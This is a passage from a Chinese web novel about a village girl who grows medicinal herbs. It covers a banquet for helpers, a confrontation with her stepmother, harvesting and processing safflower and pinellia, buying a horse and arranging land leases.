说完看他们还想说什么,许芷继续道:“各位叔叔伯伯,我知你们真性情,不看这些钱财的身外之物,只是我是个俗人,别人帮了我,我就一定要还回去。 想必各位长辈定然不想看我这个小辈日日不安夜夜难眠吧?” 既然话说到了这份上,他们再拒绝就不合适了,但是也跟许芷说这钱太多了,让她少给点。 拿的多了他们也寝食难安啊。 许芷闻言探询的眼神望向舅舅,她是真的觉得这些天他们辛苦了,并不觉得这些钱多。 邓耧子接收到外甥女求救的眼神,他笑呵呵的站出来说: “我这外甥女最是明理,她说的不错,大家都辛苦,你们就拿着,不过她没出去做过工不懂行情,就折半,一夜五十文,好了不说了,让她赶紧回去睡吧,咱们在这看着人,明早赶紧送去了了这件事。” 邓耧子这话等于板上钉钉了,大家也都不说什么,纷纷同意了。 许芷温柔一笑便转身要走,刚走出去,又想到什么转身对他们说:“明日我会在家设宴款待各位叔叔伯伯,到时候请各位一定要赏光前来啊。” “好!” 面对许芷这样客气郑重的邀请,他们齐声称道。 第二日,邓耧子他们将人都送进了府衙,当场县太爷就审了。 因为人赃并获,那些个全都打了一顿板子关进了牢狱,起码半个月出不来。 这件事在下坪村传开了,大家都吃惊于竟然是张四平做的,还真不是刘菜根。 其实刘菜根她倒是想过,但是她看王茹娇那姑娘跟许芷走的太近了,她哥又是府衙的,她有心也不敢。 同时,附近的村子也都议论纷纷。 因为除了张四平,剩下的人包括许芷的亲爹都是各个村里没有听劝告,地里的麦子全都被蝗虫吃了的。 要说坏人的思路还真一致,都是怪罪到了许芷头上,一拍即合来破坏药田。 邓耧子也有心让他那些来帮忙的兄弟,回自己村里传播一下,让他们知道他们邓家和许芷不是好惹的。 故而事情传播的极快。 不过说的再多无外乎两件事,第一件事是觉得这些人偷鸡不成蚀把米,活该。 第二件事就是没想到许芷小小年纪竟然如此心狠,竟是连亲爹都不放过。 那些关进去的人的家人本来想去找许芷事,可是一听到她连亲爹都不放过,就不敢轻举妄动了。 毕竟这事儿说起来他们丝毫不占理啊。 可偏偏总有那不死心的,比如柳珍儿。 她撺掇了另外一个被抓的人的媳妇儿,赶到了许芷家门前。 用力拍门怒骂道:“许芷,你个死丫头给我滚出来!” “我告诉你,别躲在里面不出声,我知道你在家。” “再不开门,我手里的斧头就劈上去了,你要是想换新门,你就躲在里面别出来,当好你的缩头乌龟。” 骂完,听到门里还是没有丝毫的动静,那人的媳妇儿狐疑问道: “别是没在家吧?” 柳珍儿听了有一瞬间的迟疑,接着她大手一挥肯定的说道:“不可能,这死丫头说了,晚上要请那群人吃饭呢,不可能不在家准备。” 第112章 五香毛豆 事实上许芷她们真的没在家,因为觉得都是大老爷们去一个祖孙三人都是女人的家里不合适,就把地点定在了张家兄弟俩的屋子。 所以祖孙三人去那边做饭了,此时家里根本没有人。 可柳珍儿不信,硬是在门前喊了快一个时辰,最后嗓子都要喊哑了才认命的回了家。 当晚的答谢宴,许芷还叫了里正一起来。 里正本来不好意思来,自己侄子做出这种丑事,他恨不得不出门。 可是许芷诚心邀请,他最后还是同意过来了。 今晚的席面考虑着男人多要喝酒,孟雨兰热菜做得少,下酒的凉菜多。 拍黄瓜、油炸花生米、凉拌猪耳朵、五香毛豆和花生、皮蛋拌豆腐和配了蒜汁的蒸野菜。 热菜也有四个:红烧肉、蒜苗炒大肠、炖豆腐和醋溜豆芽。 主食也做了两种,馒头和米饭。 开了席,里正作为长辈又是村里的话事人,先象征性的说了两句。 接着许芷表达了对他们的感谢,酒席正式开始。 因为都是熟悉之人,大家并没有客气的氛围,推杯换盏间好不热闹。 因为头一天没出气,柳珍儿第二日又找上了门。 这次许芷在家,她看到许芷趾高气扬的指使她。 “你赶紧去府衙让县令放了你爹!就没见过你这等好闺女,把自己亲爹送进大牢的。” 许芷淡定的看向她,语气平缓道:“那是县太爷判的,我无能为力。” “嘿!你怎么就无能为力,我打听过了只要你跟县太爷说你不计较,这事儿就算过去了,你爹就能出来。” 柳珍儿的指头都快戳到了许芷的眼睛里。 她真觉得活了这么多年,头一次这么晦气,先是说有蝗灾。 她心想这蝗虫是说来就能来的? 刚下过雨,谁那么傻钻地里脏了吧唧的收麦子。 她非得等到地里晒得差不多再收,结果还没等晒得差不多,蝗虫就来了。 地里的麦子全都被吃了,真是晦气死了。 又听下坪村的陈小圆说都怨许芷,蝗虫都是她招来的。 她咽不下这口气,就把这消息传了出去,果真有另外几个村子的,也怨上了许芷。 几个人一拍即合就要去破坏许芷的宝贝药田。 但是毕竟是做坏事,他们想着先试探试探许芷的态度。 就派了个人先去烧了油布。 结果当晚下了雨,倒是没破坏多少,可让他们看清了许芷不在乎的态度。 这才有了第二次去破坏药田,他们打算把那药苗全都薅了,让许芷这么乌鸦嘴。 可谁曾想这丫头竟然玩阴的,在药田里安插了人,几人还没开始就被抓住了。 逮了个人赃俱获,送进了大牢。 她听说被抓的时候,其实是不太慌的,其他人怎么处置她不关心,关键是她丈夫是许芷的亲爹。 哪有跟亲爹计较的道理。 可听着传回来的口信,许富年也被抓了进去,她彻底坐不住了。 此时看着许芷淡定的神色,她恨得牙痒痒。 “我说你听到没有,赶紧去城里,把你爹弄回来!” 说真就要上手去抓许芷。 许芷眯眼后退,抽出了腰间的短刀挡在两人中间。 刀刃的寒光迫使柳珍儿紧急停下,只差分毫她就撞了上去。 她颤抖着嘴唇,不可置信道:“你要杀我?” “我不杀你,前提是你不惹我。” 许芷平静道,面容说不出的平和。 偏偏这个样子看的柳珍儿瑟瑟发抖。 许芷拿起刀在袖子上擦了两下,看向柳珍儿道:“我这个人没什么耐心,把我逼急了,同归于尽也好、伤敌一千自损八百也好,只要让你永远烦不到我,我什么事都做的出来。” 她说的时候,擦好的刀又横亘在两人之间。 阳光照在刀刃上,反进柳珍儿的眼睛里,让她不寒而栗。 她再也承受不住,屁滚尿流的逃走。 许芷看着她仓皇逃窜的背影,轻嗤一声:“真不经吓。” 如此再也没有人来许芷的门前造次,她过了好一阵平淡充实的日子。 每天不是上山采药,就是在药田里照顾药苗。 就这样度过了整个夏天,到了秋季,迎来了药苗的丰收。 许芷这几日是一天一去药田,时刻看着药苗的状态。 除了她紧张,其他人也紧张。 王三叔和王三婶夫妻俩,日夜兼程早就把其他的地里料理好了,就怕药苗收的时候,他们俩没弄完。 张立柱和张铁牛也早早地就跟工头说好了,随时要回家忙活地里的事情。 邓耧子也想请假,许芷寻思着也行,正好带舅舅好好熟悉一下药材。 今年收的主要是一年生的草药,蓝实、红花和半夏,一共十二亩。 除了红花摘完第二年还会长,蓝实和半夏都要的是根,弄完还要重新买药苗。 她今年打算趁机再问问村里人还有没有要租给她地的,舅舅重新分的地也需要种药苗,今年要的药苗应该也不少。 许芷提前准备了采收的工具,专采红花的剪子,采完药放的背篓,她一口气购置了二十个。 红花开花之后,两三天内采摘药效是最好的时候,所以许芷打算先集中精力采摘红花。 而且红花应该会先开花。 果真没几天,许芷就看到红花开了花,几人一手拿剪子腰上背着小篓,同时背上还背了个更大的背篓。 腰上的是为了方便装,装满了顺手就倒进背上的大背篓。 到了地头,许芷看着满地橘红色的花,心情别提有多好了。 她走进红花从中,笑着跟大家说该怎么采摘。 “完全盛开的花是我们要采的,小心地捏住花茎,剪刀剪下就可以,剩下的花苞等到再盛开的时候再来剪。” 这不是什么难事,四亩地八个人,一天半就全部采摘完毕。 在采摘的时候,许芷和舅舅挨着,她跟舅舅讲了红花的习性和药效。 说完将舅舅重复,如此往复,这一天半的时间,只要提起红花邓耧子倒豆子一般,将红花的习性和药效说了个全。 摘完,就该制药了。 这一步,许芷带着王茹娇和舅舅一起学。 第113章 炮制红花 距离他们摘红花回来已经四五天了,放在仓房里晾的红花已经干燥了。 许芷提前让舅舅去买了米醋回来。 她捏着红花,第一件事又问舅舅红花的药效,邓耧子虽然觉得有点烦了,但还是老实的回答。 “活血通经,散瘀止痛。” 听到舅舅的回答,许芷微微点了点头。 “红花炮制为药材的第一步,就是晾晒,差不多晒成现在这样就好。” 许芷指着药架上的簸箕里的红花说。 “接着就是用水浸泡红花,等红花完全吸收了水就该下一步。” “等等。” 许芷正说着,被王茹娇打断了。 她不理解的问:“为什么晒干了又要红花吸水啊?不能直接就是摘下来水愣愣的做吗?” 听到这话,许芷没有被打断的气愤,反而很高兴王茹娇会提出来问题。 许芷耐心地解释道:“先干燥是为了去除多余的水分,再泡水是为了保证期药效不流失。” 王茹娇听了若有所思的点了点头,让许芷继续说。 “泡过水后,红花和米醋混合在一起,五斤红花用一斤的醋,搅拌均匀,最后就是用铁锅炒制了。” 许芷先拿出她提前泡好的红花,按照比例跟醋搅拌均匀,放进铁锅里,中小火慢慢不断翻炒。 大概三刻钟之后,王茹娇和邓耧子看到炒制的红花变成了金黄色,就将铁锅拿下,放凉后装进备好的容器里。 做完之后,许芷看向二人问道:“会了吗?” 王茹娇和邓耧子都觉得看着挺简单的,可是真的上手不知道自己能不能做好。 许芷看出来了他们俩的犹豫,鼓励道:“没事,万事开头难,只要开始了就不难。” 有了许芷这话,两人纷纷开始尝试。 王茹娇毕竟是女子,本就有做饭的底子在,所以她完成的很好。 期间就让许芷稍微指导了一下。 相比于她的从容,邓耧子这边就难的多了。 他可没围着灶台转过一下,炒红花的时候,一铲子下去掉出了去一半。 还好试的时候,没让他们炒太多。 邓耧子看着掉落在地的红花,嘿嘿讪笑一声,继续炒制。 许芷并不说他掉出去这件事,只说他在炒的过程中哪些地方需要注意,哪些需要避免。 最后磕磕绊绊的也算是炮制出了还行的红花。 看他们俩学的差不多,许芷带着他们两个白天一整天都呆在仓房里,将那些红花都炮制成药材。 剩下的又开花的红花,就让张家兄弟和王三婶两口子去摘。 十日后,所有的红花都采摘炮制完毕。 许芷让舅舅邓耧子去租了辆牛车带着炮制好的红花去了城里卖。 去之前村里的人闻讯而来村口,问道:“许丫头你这能卖多少钱啊?” 这一年许芷的能力他们有目共睹,有几家生出了租地给许芷的想法,所以格外关注,许芷这药材到底能赚多少钱。 许芷淡然一笑,敷衍道:“我得卖了才知道啊,婶子。” 被叫婶子的那人听闻撇撇嘴,知道这是许芷的敷衍之词。 许芷当然不可能那么老实的卖多少说多少,只需要让他们看到张家、王家挣到了多少钱,就一定有人愿意把地拿出来。 进了城,将牛车赶到了怀清堂门前。 杜仲见到许芷,亲切的迎上来。 “嗨呀,许姑娘,真是好久不见了。” “是啊,我这次来带了不少的红花,你看看。” 许芷不多说废话,直奔主题。 东家早就交代过了,只要许芷的药材来一概收下,不必检查。 所以杜仲一听,直接道:“那便称重算钱吧。” 许芷见他这么爽快倒也没说什么。 红花五两一斤,但炮制过后一亩出不了多少,也就三十多斤。 四亩地一共一百三十斤,共六百一十五两。 拿过钱跟杜仲道了谢,许芷跟舅舅便走了。 只是两人没出城,许芷说要去马市看看。 路上许芷问舅舅会不会骑马,邓耧子摇了摇头道:“哪有学马的条件啊。” 许芷闻言道:“这回有了,我要去买匹马,舅舅可要快快的学会,到时候帮我跑南庄寨子买药苗。” 闻言邓耧子眼神里迸发出光亮,“你真的要买马啊?” “那不然我为何要舅舅去马市呢?” 许芷反问。 说话间两人到了马市,许芷以前跟爹简单学了下挑马。 挑马首先要看的就是马蹄。 俗话说得好“好马出在腿上,好人出在嘴上。” 所以挑马的时候一定要细看马蹄,是不是强健有力,是不是端正。 另外就是要当腰掐一把,这样能检查马儿腰背的抗力强不强。 除此之外,还要看看马的鼻孔够不够大,有说法说“鼻大则肺大,肺大则能奔。” 秉持着这三条,许芷和舅舅最后选了一匹红棕色的马。 许芷问:“老板这匹马多少钱?” 闻言,牙纪回道:“这位姑娘眼光好,这可是纯种好马,八十两。” 邓耧子一听就想掉头走,八十两都能建个院子了,再好的马也不该八十两啊。 可看向许芷那气定神闲的样子,他还是稳重了些,没大惊小怪的将想法说出。 “六十两,再多没有了。” 许芷是真觉得这马不错,但也没到八十两的地步。 牙纪一听,皱眉摇了摇头。 看到不行,许芷转头就走,把邓耧子都整懵了,赶紧跟上去。 只是他们刚走出去没多久,就听到后面的牙纪喊道:“六十两太少了,加点呗,养大一匹马也不容易,这马温顺的很。” 许芷闻言唇角微不可查的勾起,转身为难的说道:“我说了再多没有了。” 牙纪咬咬牙道:“那要不然你我都折中,七十两怎么样?” 许芷转身就走。 “好好好,六十八两,真不能再少了。” 牙纪着急的喊道。 “成。” 许芷这下答应的很爽快,她的心理价其实是七十两,因为牙纪很轻易的就降到了七十两,让许芷觉得还有往下谈的空间。 不管这个价格是不是牙纪能给的最低价,最要比许芷的心理预期低,那就是赚了。 最后六十八两拿下了这匹马。 第114章 买了匹马 许芷是会骑马的,所以回去的时候,舅舅邓耧子赶着牛车,许芷在一边慢悠悠的骑着马走。 等到了村口,两人就分开了,舅舅去还牛车,许芷先骑着马回了家。 村里人看到她骑着马回来,就算是不问都知道许芷这是赚了大钱了,连马都舍得买了。 “许丫头,这马是你卖了草药新买的?” 有人明知故问道。 许芷一改往日淡然的样子,笑眯眯的嗯了声。 “对啊,以后还要跑南庄寨子买药苗,总是租马车也不是事儿,不如自己有匹马。” “哎呀,许丫头这意思,以后这药田的生意是越做越长远,越有盼头啊。” 众人不禁感慨道。 但是毕竟还不知道到底挣了多少钱,大家还有些观望的意思。 许芷没直接回家,而是去村里把王家和张家都叫到过来。 王茹娇看到许芷骑着马,兴奋的不行。 “小芷,带带我,带带我吧。” 许芷温和一笑,伸出手,王茹娇把手递过去,许芷使劲儿一捞,王茹娇就侧坐在了许芷的面前。 这一幕看的张立柱目瞪口呆,夕阳下,女子英姿飒爽的将另外一个女子拉上马背,如此利索又帅气。 看的他有些忘了往前走。 还是弟弟张铁牛推他一下,才反应过来跟了上去。 一路上,王茹娇的头昂的高高的,兴奋的样子压都压不住。 她觉得自己成为了全村的焦点,坐在这马上,被许芷圈进怀里,是那么的风光无限。 到了许芷家里,许芷先下了马,又伸出手把王茹娇抱了下来。 王茹娇心神荡漾,可惜的说道:“小芷,你怎么不是个男的呀,你要是男的,就你拉我上马抱我下马都够让我倾心于你。” 对于她这种不正经的发言,许芷摇头苦笑,并不接话。 此时,听到动静的邓老太和孟雨兰出来了,看到门口的马,两人也是一惊。 “这是咱家的马?” 邓老太有些颤抖的手想要摸上去,又想起听人说马脾气不好容易蹬人,她又有点不敢摸。 在她的手将要拿下来的时候,许芷握住了祖母的手放在了马身上。 “这马温顺的很,随便摸祖母。” 令人安心的话语从身后响起,邓老太眉眼弯弯,轻轻摸了两下就拿了下来。 “是温顺不错。” 孟雨兰听到也嘿嘿的笑着,摸了两把。 看着两人意犹未尽的样子,许芷好笑的说着:“祖母,先让大家进去吧,哪能把客人挡在门外啊,马是咱们家的,以后随便摸。” 闻言,邓老太尴尬一笑,赶紧把人都请进了家门。 因为许芷家没有马厩,就暂时把马关进了仓房里。 给马喂上了水,许芷回到屋里,看着坐下正在喝茶的众人。 许芷开口道:“红花一共卖了六百一十两银子。” 这话像是平地里的一声惊雷,王三婶口中的茶水直接喷了出来。 “这么多!” 她惊呼出口,这么多银子她这辈子都没见过。 许芷尽量无视大家震惊的表情,继续说:“当时说好了,一亩地给大家五两银子,如今得了钱自然要给大家分。” 说着,许芷拿出钱袋子,四十两给王茹娇,三十两给王三叔夫妇,五十两给张家兄弟。 “这是你们的银钱,可以点点看。” 几人面对这么多的钱,面面相觑谁都不敢先出手。 还是王茹娇率先打破僵局,财迷一般的揽过自己那些,装模作样的数了数。 她当然相信许芷不会给自己少的,但是她这样也是让许芷放心嘛。 有了王茹娇,剩下两家也将属于自己的钱拿了过来。 王三叔和王三婶俩人一手拿一点,兴奋的看着手里的银子,笑的多少有点不值钱。 “老婆子,你快掐一掐我,看看是不是真的?” “你先掐掐我吧,我也想知道。” 王三婶也看着手里的银子不知该作何反应。 而张家兄弟俩就淡定的多,张立柱把银子拿过来当场就跟弟弟平分了。 看着她们拿到钱开心的样子,许芷也打心底里高兴。 “我愿意把卖草药赚了多少钱说出来,是为了让大家看到这件事有多值得做,但是外人我是不可能说出去的。 这只是红花,后面卖了其他的草药我依旧会跟大家分的。” 闻言,大家有些疑惑。 张立柱不解道:“这钱不是已经给我们了?” “对啊。”王三婶紧跟其后说道:“当时说了租地的钱和这个一亩地给的辛苦费,就这些了,哪还用给啊。” 王三叔也说道:“你要是觉得你赚得多,我们拿得少心里觉得愧疚,大可不必,要不是你我们哪知道这种赚钱的路子,我们连这些钱的一半都赚不到,可不要跟我们因为钱生分了。” “就是就是,小芷。” 王茹娇笑眯眯道:“你要不租地,我哪有一年几十两银子进账啊,我现在可比我哥赚的都多的多。” 有多少一起赚钱的人,嫌分配不均大打出手,再好的关系都闹的老死不相往来。 可是他们却意外的知足,不仅不嫌她赚得多,甚至还怕她给他们多了。 许芷心里五味杂陈,更觉得要多给他们钱。 她吞下感动,说道:“这是专属于你们的福利,你们是第一批支持我药田的人,我要给你们抽成,每一年卖完药之后,我会给你们每家抽一成。” “一成?” 王茹娇惊讶问出口,现在还没卖完,光红花一成就是六十两。 要是带上其他的草药那不得过了百两? 其他人也是这么想的,被这瞬间的惊喜炸的不知该作何反应。 “在我困难的时候,是你们给了我继续下去的勇气,如果不是你们相信我,估计我还在那两亩田里慢慢挣扎着,不会赚这么多钱。 这钱是你们应得的,也是我对你们支持的感谢,可不能不要,不要就是跟我算的太清楚,那才是生分。” 闻言几人已经是感动的红了眼。 许芷拿出一个字据,上面写清楚了分一成这件事。 让他们看一看没有意见就签下名字,她写这个也是为了让他们更加看到自己的决心。 “许丫头,啥也不说了,以后俺们随你差遣。” 王三婶将银子小心地收起来说道。 第115章 收药制药 几人都按了手印,许芷将字据收了起来。 “这是专属于你们的,日后任何人再来我这里都没有这个待遇,只是这待遇我要卖了所有的草药才能给你们钱,如今我不知道到底应该给多少,你们可莫要急。” “不急不急,这怎么能急呢。” 王茹娇笑的娇俏。 王三婶紧跟其后也笑道: “就是,我们还能不相信你呀。” 该说的都说完,大家都喜滋滋的拿着钱回了家。 没几日,许芷看着地里的半夏逐渐呈现黄绿色,就知道到了该采收的时候。 几家人吃过早饭,背着筐子、拿着铁耙和锄头来了王三叔的地头。 半夏入药的部分主要是块茎,长在地底下,所以需要把半夏用锄头或者耙子刨出来才行。 为了早点把半夏收完,邓老太和王老太都来帮忙了。 她俩人去捡刨出来的半夏。 因为半夏有毒,所以许芷提前准备了手套。 “手套必须戴上,戴上之后,就不要摸身上任何地方了,干完活第一时间洗手才能干其他的事情。” 说着,把手里的手套给每个人分发下去。 张立柱拿到之后不解的说:“我们锄地的又不拣不需要手套吧?” “你要是看到我祖母装的时候掉了一个,会不会下意识去捡?” 许芷反问回去。 张立柱愣住,好像确实是这么回事。 其他人也不再说什么利落的戴上了手套。 许芷还是不放心,又交代道:“手套上沾了毒素的话,可能会沾染到筐子和锄头上,你们一定要戴上手套才能拿工具。” 听着许芷如此严肃,大家不禁也紧张了些。 “许丫头,这玩意儿这么毒呢?” 王三婶语气微微有些颤抖的说道。 闻言,许芷看向大家紧张的神色,她故作轻松地笑笑。 “主要你们不懂药性,我怕你们不注意,只要你们戴好了手套,谨记我说的话,就不会有事的。” “就是,小芷这么懂肯定不会让咱们出事儿的,咱们只要乖乖听话就行了。” 王茹娇跟着说道。 大家虽然担心,但是更多的还是对许芷的放心,故而没害怕多久纷纷都投入进半夏的收获中去了。 四亩地十几个人,快得很,一天就干完了。 半夏的植株就那么扔在了地里沤肥,捡完的半夏全都放在了仓房里。 全都放在了药架的簸箕里,慢慢的阴干。 今晚许芷不让大家回去做饭了,都一起在她家吃。 大家一起去小河边洗过,做饭的做饭,聊天的聊天。 晚上吃过饭后,都回了自己家。 村里已经有人摸上门去问张家兄弟和王三婶他们,许芷给了他们多少钱。 张家兄弟和王三婶他们也不瞒着,但也不全说实话,只说有个几十两。 光是这样说,已经让许多人活了心思。 但是心思活归活,没人敢主动上去问许芷要不要租地,都等着旁人当那第一个。 许芷倒是不知道村里人的想法,已经进了九月,霜降前收蓝实是最好的时候。 等到地里的蓝实地上部分都干枯之后就到了收的时候。 蓝实跟半夏不一样,半夏虽然有毒,但是半夏采收不怎么费功夫。 它的块茎跟家里种的土豆花生是一样的,小小圆圆的,只要刨出来一拣就行。 但是蓝实主要要的就是根部,根部长不说,须子错综复杂的朝四周伸展着,就不能用锄头或者耙子不管不顾的直接刨。 而要把地里的畦沟深挖至约两尺深,然后一行挨着一行用尖铁锨或粪叉插进去将土松动,让蓝实和土分离。 这一步要很小心,不能伤到了蓝实的根部。 把蓝实的枯叶扔掉,只要根部就行。 跟他们讲过之后,许芷跟舅舅先开了不长一条沟,示范了一下该怎么做,大家学会后,去了其他的地里,开始劳作。 这个倒是费点事儿,一天半的时间才弄完。 弄完之后翻起来的土先晾着,许芷拜托张立柱兄弟两个和王三婶两口子,先把半夏那边的地给收拾一下。 耙过收拾过,这样到时候,药苗买来了,直接就能种。 等半夏那边的地收拾过后,蓝实这边的地也晾得差不多,也能收拾了。 而许芷带着舅舅和王茹娇教他们两个人怎么把半夏和蓝实炮制药材。 这两种药材早在运回家的时候,因为离河太近,许芷让大家洗过泥和杂质才放到了仓房里。 “蓝实的炮制相对简单些。”许芷拿出晾的七八成干的蓝实说着,“拿回来洗过之后晾成这样,就可以捆扎在一起,咱们的蓝实根不错,粗细均匀、条长整齐,十五根到二十根捆在一起继续晾着,直到彻底晾干。” 王茹娇:“所以我们现在要做的就是把蓝实都捆起来,让其继续干着就行。” “没错。” 得到了许芷肯定的回答,三人也不耽误,立刻就干了起来。 四亩地蓝实说多不多,说少也不少,三个人在一起干了两三天才全部捆完了。 弄完了蓝实就是半夏了,跟采收正好是相反的。 炮制成药的话蓝实简单,半夏可麻烦多了。 许芷带上手套拿起半夏看了看情况,阴干的差不多了。 “半夏的炮制方法有多种,每一种都对应不同的功效,按照这样可以分为清半夏、姜半夏、法半夏和半夏曲。” “四种还行嘛。” 王茹娇觉得应该难不倒哪去,听起来也就四种。 闻言,许芷没有笑王茹娇的天真,而是继续说道: “清半夏主要是用白矾或石灰炮制,会增强其燥湿化痰的效用,主要用于湿痰咳嗽。 姜半夏从名字就能知道是用姜和白帆炮制,效用为温中化痰、降逆止呕,用于胃气上逆、恶心呕吐。 法半夏用甘草和石灰液炮制,用于寒痰咳嗽和脾胃虚弱者。 半夏曲用面粉、生姜和苦杏仁炮制,效用为消食化滞,用于食积不化,脘腹胀满。” 随着许芷说完,王茹娇的脸上早就没了轻松地神色。 光是听着四种方法的用料、效用她都有些记不住了,不该大言不惭的说出还行这种话。 她有些苦恼的问:“这四种我们都要学?” 第116章 制姜半夏 许芷面色平静的嗯了声,看着王茹娇一脸痛苦的样子。 她忍不住笑了,说道:“如今倒是不用四种都学,我只会炮制两种,多了我也没这个精力,但是这四种方法你们一定要记住,不能炮制两种只记两种。” “放心吧小芷,你说就是。” 邓耧子自知自己学得慢,所以态度上很是积极。 “因为到了秋冬,多的是咳嗽痰多的人,所以我们就炮制前两种清半夏和姜半夏,今天我先叫你们清半夏的炮制方法。 生半夏洗净之后,放在配比好的白矾水中浸泡两到三天,浸泡时要勤翻,加速半夏浸泡,直至半夏无干芯,口尝有微麻感就好。 白矾的用量跟半夏比,十斤半夏用八两的白矾水泡。 泡好后置于锅内,放入白矾水搅拌,煮一个半时辰左右,捞出切开无白心就是好了,好了后捞出晾至六成干切薄片干燥可得。 记住了吗?” 许芷说完看向他们二人,两人清澈的眼神懵懂的看向许芷,摇了摇头又点了点头。 王茹娇有些痛苦的说道:“你说的时候,我觉得我能记住,但是说完你一问我,好像又什么都没记住。” 一旁的邓耧子也点头赞同王茹娇的话。 许芷抿了抿唇,想了一下,觉得自己不能操之过急。 之前自己学的时候觉得没那么难,是因为自己从小就在草药堆里长大的,三岁在爹爹的有意无意下她已经识得大部分药材。 但是对于他们来说,就算是生病了都想着省钱撑一撑不用药的,跟药接触的太少,自然是觉得难。 许芷舒出一口气,说道:“我今晚会把半夏的炮制方法详细写下来,明日给你们两个看,一定要背下来。 今天你们先看我怎么做吧,看的多了也能学会。” “成!” 两人闻言答应的很快。 许芷为了方便教,她早就已经泡了一批半夏,今天又手把手教他们泡了一半的半夏。 她把自己泡好的半夏捞出放进准备好的锅里,让舅舅看好炉子生好火。 加入自己兑好的白矾水,开始搅拌,中间她的胳膊酸了累了,王茹娇很有眼力见的凑上来接替她搅拌。 一个半时辰后,许芷捞出一个半夏,用刀切开看到里面已经没有白心,让舅舅和王茹娇都记住半夏的这个状态。 接着就是把半夏都晾了出来。 做好之后,许芷打算把姜半夏的炮制也给他们说一下,最好今日把所有的半夏都泡上,要不然半夏放的久了也不好。 都一批做出来,直接卖了赶紧买下一年种的药材。 “姜半夏的做法跟清半夏有点类似,只是里面加了姜。”许芷又搬过来一盆泡好的半夏说道:“半夏洗净之后,与姜汁和白矾兑水浸泡。 白矾的配比还是十斤半夏八两白矾,姜的配比要多些,十斤半夏要二十五两生姜。 同样浸泡至无干心,一般要三到七天,看情况而定。 浸泡好后,把半夏置于锅内与生姜片一起煮一个半时辰左右,至无白心,口尝有微麻感即可。 煮后趁软直接切薄片,晾干即可。” 许芷讲完后,把这些泡好的半夏倒进锅里,加了生姜片开始煮。 一个半时辰后,捞出一颗看过没有白心,整锅倒出趁热切片,三个人热的有些龇牙咧嘴的切完了。 又把剩下的那一半半夏泡进了姜汁和白矾兑好的水中。 今天的事情就算是忙完了。 “舅舅,娇娇,你俩回去后,把今天我说过的东西好好想一想,下一次就是你们俩做给我看了,我今晚也会把半夏所有的炮制方法写下来,希望下一次等到这些半夏泡好的时候,我问的时候你们能够脱口而出。” 王茹娇一听撒着娇的往许芷的怀里钻。 “小芷~有你呢,我们记不住也行。” “那不行。” 许芷干脆的拒绝,用手掌抵着王茹娇额头将她从自己的怀里推出去,俨然一副严师的样子。 “日后村子里的事情我还想交给你和舅舅,可不能不尽心学。” 王茹娇撇撇嘴,嗯了一声应下来,眼神里的委屈神色不减。 正好孟雨兰到了仓房门口,叫他们出去吃晚饭。 三人恍然才知道他们已经在仓房里忙了一下午,现在已经晚上了 王茹娇早就饿了,一听要吃饭,她高兴的蹦着跳着赶紧出去。 而许芷和舅舅紧随其后。 “小芷,你是不是不愿意在这村子里。” 邓耧子突然在她身侧,轻声问出口。 外甥女上次就说了她以后不止在这村里,起初他以为外甥女对着药田也没那么有把握,所以才这么说。 一旦做不好,可能就要出去找找机会。 可那红花卖了之后,他才知道这有多赚钱。 今天她跟王茹娇说的话,也是这样,她想把这些交给他们两个。 可这药田这么赚钱,她干什么要交给他们? 光这药田上赚的钱堪比城里的一些富户,能让她过上不错的日子。 可为什么一定要出去呢? 同时他心底也有私心,小芷要是出去了,那为了她出去单过的娘怎么办? 娘肯定这辈子就在这山坳里了,小芷出去就剩娘一个,他这个当儿子的再贴心,有时候也不如女眷在身边的好。 许芷转头看向舅舅,摇头否认:“不是,我觉得村子里挺好的,只是我有自己的打算。” “什么打算?” 邓耧子有些急切的问道。 问出口的时候,他自己也觉得有些失态,好像这不该是他这个舅舅管的事儿。 许芷愣怔了片刻,语气平淡又诚实道:“恕无可奉告。” 邓耧子嗯了声,垂着眼眸,“我就是问问,没别的意思。” 这下换许芷嗯了声,不再说话。 许芷想趁着药材浸泡和晾晒这几天的空档,找找里正再问问租地的事情。 她第二日就去了里正家里。 里正一听她为这件事而来,笑眯眯的说道:“我还打算去找你说这件事呢许丫头。 这几日啊总有人跟我打听你还要不要租地这件事,这我也吃不准,毕竟去年你在我这吃了个闭门羹,所以也不敢妄言。 只能答应乡亲们问问你,没想到我还没去找你,你就先来了。” 第117章 黑色骏马 许芷坦然道:“能赚钱的事儿,我肯定要来。” 里正:“那成,你跟我说说这租地的规矩,我好把人召集起来说一说。” 许芷:“主要是两种方式,一种是租地,一两银子一亩地。 种下药苗之后我一个人也管不过来,谁家的地谁帮我顾着药苗,等到药苗成了,一个人一年给五两银子的照料费,不会不要紧我都会教。 不管是租地还是帮我照看,我都会签租约,所以不用担心赖账的事情。 当然了也不是租给我地的那家有多少我给多少个五两银,我会根据地的多少决定租几个人,到时候我按租约给钱。” 听完,里正点点头,觉得不错。 起码一户人家一年能挣个十两是有的。 这种的他了解了,还想听听看第二种是什么,于是问道: “那另外一种方式呢?” “另外一种则是投入大些。”许芷喝了口茶水继续说。 “第二种,我不租地,需要从我这买了药苗种成之后我来收,这种种植的时候我也会全程教他们,但是我就不上手了,只是教。 这种我敢保证买药苗的时候投入一两银,到时候收的时候一定能赚二两银,肯定是比租地要赚的多得多,当然了前期的投入也很大。” 另外一个理由许芷没说出口,那就是如果她租地,村里人会觉得这不是自己种的东西,难免不尽心。 但是若是用了第二种方法,这完全是给自己赚钱,不尽心都不行。 里正听了第二种方法,他毫不怀疑许芷说的一两银能翻倍赚,关键是这一亩地买药苗投入要多大啊? 他们不清楚。 这一年许芷在这药苗上的用心他看的清清楚楚,冬天他们的地里都不用管了,但是许芷的药田又是做杀虫又是做保暖的。 之前还买了油布,这都不是小的开支。 对于村里人来说这不是能拿得出的。 所以他说道:“第二种想的很好,但是这估计不是村里人能负担的起的。” 许芷听到一点不诧异,像是早就想到了。 “没事里正,他们选第一个也可以,手里有了钱就会想多赚钱,慢慢的选择第二种的人就多了。 麻烦里正告诉他们,第一种也只是一年租一次,若是大家觉得能负担的起第二种了,第二年改换也是行的。” “那好,我尽快将大家召集在一起说一下这事儿。” 里正点头说道。 等到许芷要走的时候,里正才又想起了什么,把她叫住。 许芷不明所以的转身问里正怎么了。 里正的坦然道:“你这法子很好,大家能赚钱是真的,但是我还要是控制着大家不能把全部的地都用来当药田,一家撑死出一半的地。 要不然有些人家有了钱就挥霍,钱这东西可没底,说花完就花完了,粮食能存着。” 许芷嗯了声,说了句都听里正的就回了家。 走在路上,许芷不禁想,里正想的还是周到。 去年拒绝许芷的时候,想的也是这个层面,今年哪怕是看他们挣到了钱,也依旧坚持。 